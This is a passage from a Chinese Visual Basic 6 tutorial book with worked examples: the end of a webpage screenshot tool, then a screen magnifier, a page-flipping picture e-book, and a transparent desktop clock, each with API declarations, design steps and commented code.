                    , 0, htmlobj.scrollwidth - linewidth _
                    , htmlobj.ClientHeight, SourceDC _
                    , Rectangle.Left + 2 + htmlobj.ClientWidth - (htmlobj.scrollwidth - linewidth) _
                    , Rectangle.Top + 2, &HCC0020
                    htmlobj.scrollleft = 0
                    j = 0
                End If
    '********************************获取整个宽度（结束）**************************
            End If
            lineheight = lineheight + htmlobj.ClientHeight                    '累计当前高度
        Else
            hideinput
            BitBlt DestDC, 0, htmlobj.ClientHeight + 199 * i, htmlobj.ClientWidth _
            , 199, SourceDC, Rectangle.Left + 2 _
            , Rectangle.Top + 2 + htmlobj.ClientHeight - 199, &HCC0020 '获取可见区域场景
            linewidth = htmlobj.ClientWidth                            '当前宽度
            '当当前宽度小于网页宽度时
            If linewidth < htmlobj.scrollwidth Then
    '****************************获取整个宽度场景（开始）**************************
                Do Until linewidth >= htmlobj.scrollwidth - 199
                    hideinput
                    htmlobj.scrollleft = htmlobj.scrollleft + 199
                    BitBlt DestDC, htmlobj.ClientWidth + 199 * j _
                    , htmlobj.ClientHeight + 199 * i, htmlobj.ClientWidth, 199 _
                    , SourceDC, Rectangle.Left + 2 + htmlobj.ClientWidth - 199 _
                    , Rectangle.Top + 2 + htmlobj.ClientHeight - 199, &HCC0020
                    linewidth = linewidth + 199
                    j = j + 1
                Loop
                If linewidth >= htmlobj.scrollwidth - 199 Then
                    hideinput
                    htmlobj.scrollleft = htmlobj.scrollleft + 199
                    BitBlt DestDC, htmlobj.ClientWidth + 199 * j, htmlobj.ClientHeight + 199 * i _
                    , htmlobj.scrollwidth - linewidth, 199, SourceDC _
                    , Rectangle.Left + 2 + htmlobj.ClientWidth - (htmlobj.scrollwidth - linewidth) _
                    , Rectangle.Top + 2 + htmlobj.ClientHeight - 199, &HCC0020
                    htmlobj.scrollleft = 0
                    j = 0
                End If
    '****************************获取整个宽度场景（结束）**************************
            End If
            i = i + 1                                        '纵向计数器累计
            lineheight = lineheight + 199                            '累计当前高度
        End If
        htmlobj.scrolltop = htmlobj.scrolltop + 199                        '调整纵向滚动条位置
    Loop
    If lineheight >= htmlobj.scrollheight - 199 Then
        hideinput
        BitBlt DestDC, 0, htmlobj.ClientHeight + 199 * i, htmlobj.ClientWidth _
        , (htmlobj.scrollheight - lineheight), SourceDC, Rectangle.Left + 2 _
        , Rectangle.Top + 2 + htmlobj.ClientHeight - (htmlobj.scrollheight - lineheight), &HCC0020
        linewidth = htmlobj.ClientWidth
        If linewidth < htmlobj.scrollwidth Then
    '****************************获取整个宽度场景（开始）**************************
            Do Until linewidth >= htmlobj.scrollwidth - 199
                hideinput
                DoEvents
                htmlobj.scrollleft = htmlobj.scrollleft + 199
                BitBlt DestDC, htmlobj.ClientWidth + 199 * j, htmlobj.ClientHeight + 199 * i _
                , htmlobj.ClientWidth, (htmlobj.scrollheight - lineheight) _
                , SourceDC, Rectangle.Left + 2 + htmlobj.ClientWidth - 199 _
                , Rectangle.Top + 2 + htmlobj.ClientHeight - (htmlobj.scrollheight - lineheight) _
                , &HCC0020
                linewidth = linewidth + 199
                j = j + 1
            Loop
            If linewidth >= htmlobj.scrollwidth - 199 Then
                hideinput
                htmlobj.scrollleft = htmlobj.scrollleft + 199
                BitBlt DestDC, htmlobj.ClientWidth + 199 * j, htmlobj.ClientHeight + 199 * i _
                , htmlobj.scrollwidth - linewidth, (htmlobj.scrollheight - lineheight) _
                , SourceDC _
                , Rectangle.Left + 2 + htmlobj.ClientWidth - (htmlobj.scrollwidth - linewidth) _
                , Rectangle.Top + 2 + htmlobj.ClientHeight - (htmlobj.scrollheight - lineheight) _
                , &HCC0020
                htmlobj.scrollleft = 0
            End If
    '****************************获取整个宽度场景（结束）**************************
        End If
'**********************ξξξξξ获取整个高度场景（结束）ξξξξξξ**************
        i = 0                                                '计数器归0
        wnd = Me.hwnd                                            '本窗体句柄
        OpenClipboard wnd                                        '打开剪贴板
        EmptyClipboard                                            '清空剪贴板
        SetClipboardData 2, Bhandle                                    '设置剪贴板内容
        CloseClipboard                                            '关闭剪贴板
        DeleteDC DestDC                                        '删除内存场景
        ReleaseDC Dhandle, SourceDC                                    '释放设备场景
        Picture1.Picture = Clipboard.GetData()                                '获取剪贴板中图像
        Dim FileName As String
        Dim filecount As Long
'**************************文件命名过程（开始）**************************************
        Do Until Dir(Form1.Text2.Text & "\" & FileName) = ""
            filecount = filecount + 1
            FileName = "temp" & filecount & ".bmp"
        Loop
'**************************文件命名过程（结束）***************************************
        SavePicture Picture1.Picture, Form1.Text2.Text & "\" & FileName                '保存图片
        Set htmlobj = Nothing                                        '释放对象
        SetWindowPos Me.hwnd, 1, 0, 0, 0, 0, &H2 Or &H1                        '取消窗体至前
        MsgBox "完成抓图" & vbNewLine & "输出到" & Replace(Form1.Text2.Text & "\" & FileName, "\\" 
        _ , "\"), vbSystemModal
    End If
    Unload Me                                                '关闭窗体，此次可根据需要觉得是否保留该行代码
End Sub






上面代码中的hideinput过程用于屏蔽输入法。屏蔽输入法的思路是将焦点移到按钮上。



    hideinput过程代码如下：
Private Sub hideinput()                                            '屏蔽输入法
    Command1.SetFocus                                            '移动焦点
    Me.Refresh                                                '刷新窗体
End Sub




秘笈心法

心法领悟597：API常数与类型。

API常数与类型实际上和VB中的常数和数据类型的用法一样。在API领域中，各种常数和类型都是预先定义好的。其中定义API常数和类型的语法格式与定义自定义常数和自定义数据类型的语法格式基本相同。



 实例598　屏幕放大镜

光盘位置：光盘\MR\20\598

高级

趣味指数：[image: ]




实例说明

想对Windows界面进行局部放大吗？那就试用本实例的屏幕放大镜吧。它不仅实现了屏幕的局部放大功能，还可以调整放大倍数、放大镜的大小。运行程序，移动鼠标，可以将鼠标处屏幕的内容放大显示。单击放大菜单，选择放大倍数，可以调整放大倍数大小，选择窗口大小，可以调整放大镜的大小，实例的运行结果如图20.31所示。

关键技术

本实例中的屏幕放大主要是利用StretchBlt函数来设计实现的，StretchBlt函数用于将一幅位图从一个设备场景复制到另一个设备场景。本实例中先利用GetCursorPos函数获取鼠标的位置，再将需要放大的倍数和屏幕的大小传递给StretchBlt函数，即可实现屏幕放大的功能。

[image: ]
图20.31　屏幕放大镜



本程序中重点使用了3个API函数GetCursorPos、GetDC和StretchBlt。

StretchBlt函数用于将一幅位图从一个设备场景复制到另一个设备场景。源和目标DC相互间必须兼容。这个函数会在设备场景中定义一个目标矩形，并在位图中定义一个源图像。源矩形会根据需要进行伸缩，以便与目标矩形的大小相符。返回值是一个Long型值，非0表示成功，0表示失败，语法如下：



Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long




StretchBlt函数的参数说明如表20.4所示。

表20.4　StretchBlt函数的参数说明



	参数
	说明



	hdc
	Long型值，目标设备场景



	x,y
	Long型值，目标矩形左上角的x,y坐标，以逻辑坐标表示



	nWidth,nHeight
	Long型值，目标矩形的宽度和高度，以逻辑坐标表示



	hSrcDC
	Long型值，源设备场景。如光栅运算未指定一个源，则这个参数应为0



	xSrc,ySrc
	Long型值，用源DC的逻辑坐标表示的源矩形左上角位置



	nSrcWidth,nSrcHeight
	Long型值，分别指定用逻辑单位（以源DC为基础）传输的一幅图像的宽度和高度。如其中有一个参数的符号（指正负号）与对应的目标参数不符，位图就会在对应的轴上作镜像转换处理



	dwRop
	Long型值，传输过程中进行的光栅运算。如刷子属于光栅运算的一部分，就使用选入目标DC的刷子




在本程序中使用的代码如下：



StretchBlt Picture1.hdc, 0, 0, sx * i, sy * i, GetDC(0), wx - 49 * Multi, wy - 49 * Multi, sx, sy, Srccopy





说明：
 （1）GetCursorPos函数的详细讲解请参见实例058中的关键技术。

（2）GetDC函数的详细讲解请参见实例583中的关键技术。

设计过程

（1）新建一个标准的EXE工程。

（2）在工程中添加一个窗体，使用默认名，设置窗体Caption属性为“屏幕放大镜”。设置BorderStyle属性为1-Fiexed Single，设置窗体的边框样式为固定单边框，设置MinButton属性为True，“最小化”按钮可用。

（3）在Form1窗体上利用“菜单编辑器”设计菜单，具体形式如图20.32所示。

[image: ]
图20.32　菜单的具体设置



（4）在窗体上添加一个Label控件，命名为Lbl_Scale，设置Caption属性为“当前的坐标位置：”，设置AutoSize属性为True，控件自动改变大小适应文字。

（5）在窗体上添加一个PictureBox控件，使用默认名，设置ScaleMode属性为3-Pixel，刻度为像素。用于显示放大以后的效果图。

（6）在窗体上添加两个Timer控件，使用默认名，设置Timer1和Timer2控件的Interval属性均为50。

（7）在窗体加载时，设置窗口大小、位置以及菜单的设置效果，程序代码如下：



Private Sub Form_Load()
    i = 2                                                    '给变量赋值
    CheckMenu (i)                                                '设置菜单的选中状态
    sx = 100 :sy = 100                                            '设置变量的初值，标识Picture1的大小
    Multi = 1                                                '设置变量初值
    ChangeWindow (Multi)                                        '改变窗口的大小
    CheckMenuWin (Multi)                                        '设置菜单的选中效果
    Me.Top = 20 : Me.Left = 20                                        '设置窗体的位置
    Me.Height = 0                                                '设置窗体高度的初值
End Sub




由于窗体高度的初值为0，Timer2控件将控制窗体不断伸长，直到伸展到固定的大小为止，程序代码如下：



Private Sub Timer2_Timer()                                        '用于下拉窗体
    Dim i As Integer                                            '定义变量，循环计数
    Dim h As Integer                                            '定义整型变量，存储窗体的高度
    h = 3000 * Multi + Picture1.Top + 690 + 60                                '给变量赋初值
    If Me.Left <> 20 Then                                            '如果当前窗体的Left属性不是20
        Me.Left = Screen.Width - Me.Width - 20                            '设置Left属性值
    End If
    For i = 1 To h                                                '循环
        If Me.Height = h Then                                        '如果窗体的高度等于初值
            Timer2.Enabled = False                                    '设置Timer2控件不可用
            Exit Sub                                            '退出过程
        Else                                                    '否则
            Me.Height = Me.Height + 1                                '高度加1
        End If
    Next i
End Sub




自定义过程ChangeWindow，用于设置窗体和PictureBox控件的位置，程序代码如下：



Private Sub ChangeWindow(Multi As Integer)
    Picture1.Width = 3000 * Multi                                    '设置图片的宽度
    Picture1.Height = 3000 * Multi                                    '设置图片的高度
    Me.Width = 3000 * Multi + Picture1.Left + 120 + 45                        '设置窗体的宽度
    Me.Height = 3000 * Multi + Picture1.Top + 690 + 60                        '设置窗体的高度
End Sub




自定义过程CheckMenuWin用于设置窗口的大小。根据变量Multi的值设置菜单的Checked属性是否被选中，程序代码如下：



Private Sub CheckMenuWin(Multi As Integer)                                '设置窗口大小
    onewin.Checked = False                                        '设置100×100的菜单不选中
    twowin.Checked = False                                        '设置200×200的菜单不选中
    threewin.Checked = False                                        '设置300×300的菜单不选中
    Select Case Multi                                            '根据参数不同执行不同的操作
    Case 1                                                    '参数是1
        onewin.Checked = True                                        '100×100的菜单被选中
    Case 2                                                    '参数是2
        twowin.Checked = True                                        '200×200的菜单被选中
    Case 3                                                    '参数是3
        threewin.Checked = True                                    '300×300的菜单被选中
    End Select
End Sub




当一切都设置完成以后，利用Timer1控件及API函数GetCursorPos、GetDC、StretchBlt来放大当前鼠标所在的位置。在Picture1中，以鼠标所在的位置为中心绘制坐标线，并在Label控件中实时地显示鼠标的坐标位置，程序代码如下：



Private Sub Timer1_Timer()                                        '窗体放大效果
    Dim wx As Integer                                            '定义横坐标变量
    Dim wy As Integer                                            '定义纵坐标变量
    GetCursorPos pos                                            '获取鼠标位置
    wx = pos.x                                                '将鼠标的横坐标位置赋给变量
    wy = pos.y                                                '将鼠标的纵坐标位置赋给变量
    Lbl_Scale.Caption = "当前的坐标位置：" & wx & "," & wy                '设置当前鼠标的位置
    '根据相关参数放大图片
    StretchBlt Picture1.hdc, 0, 0, sx * i, sy * i, GetDC(0), wx - 49 * Multi, wy - 49 * Multi, sx, sy, Srccopy
    Picture1.ForeColor = vbRed                                    '设置Picture1上的前景色为红色
    Picture1.DrawWidth = 2                                    '设置画笔的宽度为2
    Picture1.Line (0, 98 * Multi)-(196 * Multi + 10, 98 * Multi)                '绘制横线
    Picture1.Line (98 * Multi, 0)-(98 * Multi, 196 * Multi + 10)                '绘制竖线
End Sub




秘笈心法

心法领悟598：系统对象的应用程序对象（App对象）。

App对象是通过关键字App访问的全局对象。它指定应用程序的标题、版本、可执行文件和帮助文件的路径及名称等。



 实例599　明日电子书

光盘位置：光盘\MR\20\599

高级

趣味指数：[image: ]




实例说明

明日电子书将图片以书的形式进行浏览。运行程序后，用鼠标单击图片或者单击相应的按钮，即可实现翻页，看到下一页的图片，程序的运行效果如图20.33所示。

[image: ]
图20.33　明日电子书翻书效果



关键技术

本程序将电子书中的图片加载到资源文件中，这样能够方便地实现对图片文件的调用，同时在运行电子书时只要一个执行文件就够了，不用附带图片文件夹。既在程序设计时很方便，又使用户使用起来很方便。

本程序将图片加载到资源文件中，翻页时加载资源文件中的图片，显示下一张图片。这里使用了3个PictureBox控件，一个用于显示当前的图像，一个用于装载前一页图像，最后一个用于装载下一页图像。使用绘图方法PaintPicture在图像框的另一侧画下一页要显示的图片，使用API函数PlgBlt在图像框上画翻起的书页，也就是将原图像扭曲，类似于书页翻起的效果。使用时钟控件控制，逐渐改变翻起页的形状，使其产生书页翻动的动感效果。

本实例主要用到了PaintPicture方法和PlgBlt函数。


说明：
 （1）PaintPicture方法的详细讲解请参见实例234中的关键技术。

（2）PlgBlt函数的详细讲解请参见实例553中的关键技术。

资源文件就是将在程序运行时需要的资源集中到一起的一个文件。资源文件可以包括文字、位图和图标等。在程序中直接使用函数调用资源文件中需要的资源即可，不用指明路径，这样简化了程序的代码编写。一般情况下，一个工程中只能应用一个资源文件，在使用资源文件之前，应保证资源已经添加到资源文件中。

在默认情况下，资源编辑器没有被加载到VB的集成开发环境中，如果要使用资源编辑器，需要首先将其添加到VB的集成开发环境中，具体添加方法如下：

（1）选择工程菜单栏中的“外接程序”/“外接程序管理器”命令，打开“外接程序管理器”对话框。

（2）在该对话框中双击“VB 6资源编辑器”，当在对应的“加载行为”栏中出现“加载”字样时，单击“确定”按钮，完成“资源编辑器”的加载。

加载资源编辑器后，在工具栏中将显示资源编辑器的图标，单击此图标，打开的“资源编辑器”如图20.34所示。

[image: ]
图20.34　VB资源编辑器



打开资源编辑器后就可以添加位图了。将要显示在电子书中的图片都转换为位图（bmp）格式。单击资源编辑器中的“添加位图”按钮，打开“打开一个位图文件”对话框，在此对话框中选择要添加的图片，单击“打开”按钮，即可将图片添加到资源文件中。添加图片后，资源编辑器会给此图片文件自动添加一个标识号，在程序中通过指定标识号来获取需要的图片。双击在资源编辑器中位图标识号打开“编辑位图属性”对话框，如图20.35所示。在此对话框中可以修改标识号、选择语言种类、查阅图像等。

[image: ]
图20.35　编辑位图属性



图片添加完成后，单击“保存”按钮，将资源文件保存在程序的工程目录下。这样资源文件就创建完成了。下面介绍如何加载资源文件中的图形文件。

使用LoadResPicture函数实现加载资源文件中的图形文件，该函数用于从资源（.res）文件装载位图、图标或光标，语法如下：



LoadResPicture(index, format)




参数说明

❶index：必选参数。一个整数或字符串，它用来指定资源文件中数据的标识符（ID）。ID标识符为1的资源保留给应用程序的图标。

❷format：必选参数。一个数值或常数，其设置值如表20.5所示，指定返回数据的格式。

表20.5 format参数的设置值



	常数
	值
	说明



	vbResBitmap位图
	0
	位图资源



	vbResIcon图标
	1
	图标资源



	vbResCursor
	2
	光标资源




在本程序中加载资源文件中的图像的代码如下：



PicData.Picture = LoadResPicture(fg, 0)                                '加载资源文件中的图片
PicClip.Picture = LoadResPicture(fg - 1, 0)                            '加载前一页的图片




上述代码中的变量fg指定了需要加载的图片的标识号。

设计过程

（1）新建工程后，将窗体的BorderStyle属性值设置为0，使其不显示标题栏。设置其Picture属性为窗体加载图片。

（2）在窗体上添加一个PictureBox控件，并设置其名称为PicRect，用于存放前一页图片。

（3）在PicRect图像框中添加一个PictureBox控件，命名为PicClip，用于存放下一页图片。

（4）在PicClip图像框中添加一个PictureBox控件，命名为PicData，用于显示当前图片。

（5）在窗体上添加两个Timer控件。

（6）选择菜单栏中的“外接程序”/“外接程序管理器”命令，打开“外接程序管理器”对话框，在列表框中选择资源编辑器，在“加载行为”区域内选择“加载/卸载”选项，单击“确定”按钮。将资源编辑器添加到工具栏中，单击此图标，打开资源编辑器。在此对话框中单击“添加位图”按钮，将电子书上要显示的图片添加到资源文件中。

在程序运行后，显示电子书的第一页，也就是第一张图片。单击图片或者相应的按钮，即可进行翻页。实现“下一页”和“上一页”的代码如下：



Private Sub Label1_Click()
    If fg = 101 Then Exit Sub
    If fg <= 118 Then
        PicData.Picture = LoadResPicture(fg, 0)                        '加载资源文件中的图片
        PicClip.Picture = LoadResPicture(fg - 1, 0)                        '加载前一页的图片
        PicRect.Picture = PicData.Picture
    Else
        PicClip.Picture = LoadResPicture(fg - 1, 0)
        PicRect.Picture = PicClip.Picture
    End If
    Timer2.Enabled = True                                        'Timer2有效，向前翻页
    fg = fg – 1                                            '减小记录数
End Sub
Private Sub Label2_Click()
    If fg > 118 Then                                        '如果图像数超出资源文件中图像标号
        fg = 101                                            '从第一个标号开始
        Unload Me
        Exit Sub
    End If
    PicData.Picture = LoadResPicture(fg, 0)                            '在资源文件中加载图片
    PicRect.Picture = LoadResPicture(fg, 0)
    If fg < 118 Then
        PicClip.Picture = LoadResPicture(fg + 1, 0)                        '如果在图片范围内，加载下一张图片
    Else                                                '如果超出范围
        Set PicData.Picture = Nothing                                '清空图像框
        PicData.BackColor = vbBlack                                '将图片背景色显示为黑色
        PicData.FontSize = "30"
        PicData.Print " End"                                    '显示结束
        fg = fg + 1
        Exit Sub
    End If
    Timer1.Enabled = True                                        '向后翻页有效
    Timer1_Timer
    fg = fg + 1
End Sub




时钟控件Timer1用于控制电子书从前往后翻页，首先在图像框上画下一页的图像，然后再画上变形的图片。重复执行此事件，就产生向后翻页的效果，程序代码如下：



Private Sub Timer1_Timer()
    Dim p(3) As POINTAPI
    Dim d(4) As POINTAPI
    Static i%, J%
    i = i + 50                                                    '扩大范围
    J = J + 15
    If i > PicData.ScaleWidth / 2 + 10 Then
        J = J - 25
        PicData.Cls
        p(0).X = PicData.ScaleWidth – I                                '原来的左上角
        p(0).Y = J  '_/
        p(1).X = PicData.ScaleWidth / 2                                '原来的右上角
        p(1).Y = 0 '_/
        p(2).X = PicData.ScaleWidth – I                                '原来的左下角
        p(2).Y = PicData.ScaleHeight + J                                
        If PicData.ScaleWidth - i < 0 Then                                '如果超出范围
            p(1).X = 0                                            '设置回到图像框左上角
            p(1).Y = 0
            PicData.Picture = PicClip.Picture
            i = 0
            J = 0
            Timer1.Enabled = False                                    '时钟控件不可用
        End If
        '画前一张图像
        PicRect.Picture = PicClip.Picture
        PicData.PaintPicture PicClip, PicData.ScaleWidth / 2, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, PicData.ScaleWidth / 2, 0
        '画本页图像
        PlgBlt PicData.hdc, p(0), PicRect.hdc, 0, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, 0, 0, 0
    Else
        PicData.Cls                                            '清除图像
        p(0).X = PicData.ScaleWidth / 2                                '原来的左上角
        p(0).Y = 0 '_/
        p(1).X = PicData.ScaleWidth – I                                '原来的右上角
        p(1).Y = J '_/
        If PicData.ScaleWidth - i < 0 Then
            p(1).X = 0
            p(1).Y = 0
        End If
        p(2).X = PicData.ScaleWidth / 2                                '原来的左下角
        p(2).Y = PicData.ScaleHeight '_/
        M = J
        PicData.PaintPicture PicClip, PicData.ScaleWidth / 2, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, PicData.ScaleWidth / 2, 0                                                                    '画下一张图像            
        PlgBlt PicData.hdc, p(0), PicRect.hdc, PicData.ScaleWidth / 2, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, 0, 0, 0                                                                        '画本页图像
    End If
End Sub




时钟控件Timer2用于控件向前翻页，同样首先画出前一页的图片，然后再画上变形的当前页图片。重复执行，产生图书向前翻页的效果，实现代码如下：



Private Sub Timer2_Timer()
    Dim p(3) As POINTAPI
    Dim d(4) As POINTAPI
    Static i%, J%
    i = i + 50                                                    '扩大范围
    J = J + 15
    If i > PicData.ScaleWidth / 2 Then
        PicData.Cls
        J = J - 25
        p(0).X = PicData.ScaleWidth / 2                                '原来的左上角
        p(0).Y = 0  '_/
        p(1).X = I                                                '原来的右上角
        p(1).Y = J '_/
        p(2).X = PicData.ScaleWidth / 2                                '原来的左下角
        p(2).Y = PicData.ScaleHeight   '_/
        '如果超出图像框范围
        If PicData.ScaleWidth - i < 0 Then
            p(1).X = PicData.ScaleWidth                                '将值设置为图像框右上角坐标值
            p(1).Y = 0
        End If
        '画前一张图像
        PicRect.Picture = PicClip.Picture
        PicData.PaintPicture PicClip, 0, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, 0, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight
        '画当前图像
        PlgBlt PicData.hdc, p(0), PicRect.hdc, PicData.ScaleWidth / 2, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, 0, 0, 0
        If i > PicData.ScaleWidth Then
            i = 0
            J = 0
            Timer2.Enabled = False
        End If
    Else
        PicData.Cls
        p(0).X = I                                            '原来的左上角
        p(0).Y = J '_/
        p(1).X = PicData.ScaleWidth / 2                             '原来的右上角
        p(1).Y = 0 '_/
        p(2).X = I                                            '原来的左下角
        p(2).Y = PicData.ScaleHeight + J '_/
        M = J
        PicData.PaintPicture PicClip, 0, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, 0, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight                                                            '画下一张图
        PlgBlt PicData.hdc, p(0), PicRect.hdc, 0, 0, PicData.ScaleWidth / 2, PicData.ScaleHeight, 0, 0, 0
    End If                                                '画当前图像
End Sub




秘笈心法

心法领悟599：系统对象的屏幕对象（Screen对象）。

Screen对象根据窗体在屏幕上的布局来操作窗体，并在运行时控制应用程序窗体之外的鼠标指针，Screen对象通过关键字Screen来进行访问。



 实例600　绘制石英钟

光盘位置：光盘\MR\20\600

高级

趣味指数：[image: ]




实例说明

本实例实现绘制一个石英钟。程序运行后，在桌面上显示一个能够按照系统时间走动的石英钟，样式美观。同时可以根据个人喜好在托盘中选择石英钟样式，绘制的石英钟如图20.36所示。添加图片的石英钟如图20.37所示。
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	图20.36　绘制的石英钟
	图20.37　添加图片的石英钟




关键技术

绘制石英钟程序主要是在窗体上使用PSet方法按照坐标位置画点，来绘制一个时钟形状的图案。使用Line控件作为时钟的时针、分针和秒针；使用Timer控件控制时针、分针和秒针坐标位置的改变；通过计算获得在当前时间的坐标位置。使用API函数将窗体背景颜色抠掉，实现一个透明的窗体。另外，为了使程序美观，时钟窗体是无标题栏窗体，要使用API函数实现移动无标题栏的窗体。

1．透明窗体

为了使显示的石英钟更加美观，在设计时将时钟的窗体设置为透明，这里使用API函数SetLayeredWindow Attributes()实现窗体的透明。


说明：
 SetLayeredWindowAttributes()函数的详细讲解请参见实例253中的关键技术。

例如，下面的语句将抠去窗口中的蓝色。



SetLayeredWindowAttributes hwnd, &HFF0000, 0, LWA_COLORKEY




下面的语句将设置窗体的透明度为半透明。



SetLayeredWindowAttributes hwnd, 0, 125, LWA_ALPHA




日常生活中见到的时钟以圆形居多，如果设置了透明窗体并不能将窗体的样式设置成为需要的图形，但是可以把图形和窗体的背景颜色设置成为一个不常用的颜色，然后把SetLayeredWindowAttributes()函数的dwFlags参数设置成为LWA_COLORKEY，即扣除图形以外的颜色即可。实现透明窗体的声明如下：



Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, _
ByVal nIndex As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, _
ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, _
ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Const WS_EX_LAYERED = &H80000
Public Const GWL_EXSTYLE = (-20)
Public Const LWA_ALPHA = &H2
Public Const LWA_COLORKEY = &H1




实现透明窗体的函数如下：



Public Sub Transparence(ByVal Frm As Form)
    Dim rtn As Long
    rtn = GetWindowLong(Frm.hwnd, GWL_EXSTYLE)
    rtn = rtn Or WS_EX_LAYERED
    SetWindowLong Frm.hwnd, GWL_EXSTYLE, rtn
    SetLayeredWindowAttributes Frm.hwnd, &H400000, 0, LWA_COLORKEY 
End Sub




2．移动无标题栏窗体

为了使程序界面美观，在程序设计时把窗体设置为无标题栏样式。但是这样窗体就无法进行移动，要移动无标题栏的窗体就要使用代码进行控制。使用API函数SendMessage可以实现无标题栏窗体的移动。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

同时，还要使用API函数ReleaseCapture为当前应用程序释放鼠标捕获，才能实现窗体的移动。其声明语句如下：



Public Declare Function ReleaseCapture Lib "user32" Alias "ReleaseCapture" () As Long




返回值为Long，True（非0）表示成功，0表示失败。

本程序在窗体的MouseDown事件中实现对窗体的移动，函数和常量声明及程序代码如下：



Private Const HTCAPTION = 2
Private Const WM_NCLBUTTONDOWN = &HA1
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 1 And Me.WindowState = 0 Then
        Dim ReturnVal As Long
        X = ReleaseCapture()
        ReturnVal = SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End If
End Sub




3．绘制石英钟

在没有图片加载时，显示的时钟是绘制在窗体上的。这里使用PSet方法在窗体上画点，实现绘制一个小时钟。


说明：
 PSet函数的详细讲解请参见实例538中的关键技术。

在程序中绘制小时钟刻度的代码如下：



Me.DrawWidth = 3
Me.PSet (80 * Cos(-i), 80 * Sin(-i)), vbWhite




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称设置为Frm_Small_Clock，Caption属性设置为“小时钟”，StartUpPosition属性设置为“2-屏幕中心”。

（3） 在窗体上添加3个Line控件，并设置BorderColor属性分别为合适的颜色；添加一个PictureBox控件，并设置Picture属性；添加一个Timer控件，Enabled属性设置为True，Interval属性设置为1000。

（4）程序的运行代码如下。

窗体加载事件实现为时钟加载图片，如果图片无效，设置图像框为空。窗体加载事件的代码如下：



Private Sub Form_Load()
    On Error GoTo ToExit                                        '打开错误陷阱
    Int_HH = 3600
    Int_MM = 60
    Me.Picture = LoadPicture(App.Path & "watch.gif")                    '加载背景图片
    Transparence Me                                        '调用透明窗体过程
    Scale (-100, 100)-(100, -100)                                    '自定义坐标系统
    Timer1.Interval = 1000                                        '设置Timer控件的触发值
    Exit Sub
ToExit:
    If Err.Number = 53 Then                                    '如果没有加载的图片设置图片为空
        Set Me.Picture = LoadPicture()
        Resume Next                                        '继续执行下一条语句
    End If
End Sub




窗体的Paint事件中调用了MyDraw自定义过程，用于绘制小时钟。使用PSet方法在窗体上画点，绘制一个小时钟，实现代码如下：



Private Sub Form_Paint()
    If Me.Picture = 0 Then
        Call MyDraw
    End If
End Sub
Public Sub MyDraw()
    Dim i As Double                                        '用于绘制表刻度
    MM = 3                                                '初始化表数字
    For i = 0 To 2 * PI Step PI / 30                                '绘制标识分的小刻度
        Me.DrawWidth = 3                                    '设置线宽
        Me.PSet (80 * Cos(-i), 80 * Sin(-i)), vbWhite                        '画白点
    Next i
    For i = 0 To 2 * PI Step PI / 6                                    '绘制标识小时的大刻度
        Me.DrawWidth = 6
        Me.PSet (80 * Cos(-i), 80 * Sin(-i)), vbRed                        '画红点
        Print MM                                            '绘制标识刻度的数字
        MM = MM + 1                                        '刻度值数字加1
        If MM > 12 Then MM = MM – 12                            '如果数值大于12从1开始
    Next i
End Sub




Timer控件用于控制时钟指针随着时间改变而变化。每次改变表示时钟指针的Line控件的坐标位置，使指针走动起来，程序代码如下：



Private Sub Timer1_Timer()
    Dim S, M1, H1 As Single                                    '记录旋转的度数
    Dim H As Integer                                        '记录小时
    '读取系统时间
    H = Hour(Time)                                        '获取当前小时值
    M = Minute(Time)                                        '获取当前分钟值
    '计算指针旋转的度数
    S = (Second(Time) + 0.5) * PI / 30                                 '秒针旋转度数
    H1 = (H + (M * 60 + S) / 3600) * PI / 6 - PI / 2                        '时针旋转度数
    M1 = (M + S / 60) * (PI / 30) - PI / 2                                '分针旋转度数
    With Me
    '绘制时针
        Line3.X2 = 45 * Cos(-H1)
        Line3.Y2 = 45 * Sin(-H1)
        Line3.Refresh
        '绘制分针
        Line2.X2 = 55 * Cos(-M1)
        Line2.Y2 = 55 * Sin(-M1)
        Line2.Refresh
        '绘制秒针
        Line1.X2 = 75 * Cos(-Second(Time) * (PI / 30) + PI / 2)
        Line1.Y2 = 75 * Sin(-Second(Time) * (PI / 30) + PI / 2)
        Line1.Refresh
    End With
End Sub




秘笈心法

心法领悟600：系统对象的剪贴板对象。

剪贴板对象Clipboard用于提供对系统Clipboard的访问。下面介绍剪贴板对象的几个重要方法。

（1）Clear方法：用于清除系统剪贴板中的内容。

（2）GetData方法：用于从Clipboard对象中返回一个图形。

（3）SetData方法：使用指定的图形格式将图片放到Clipboard对象上。

（4）SetText方法：用于将文本字符串放到Clipboard对象中。

Visual Basic开发实战1200例（第I卷）
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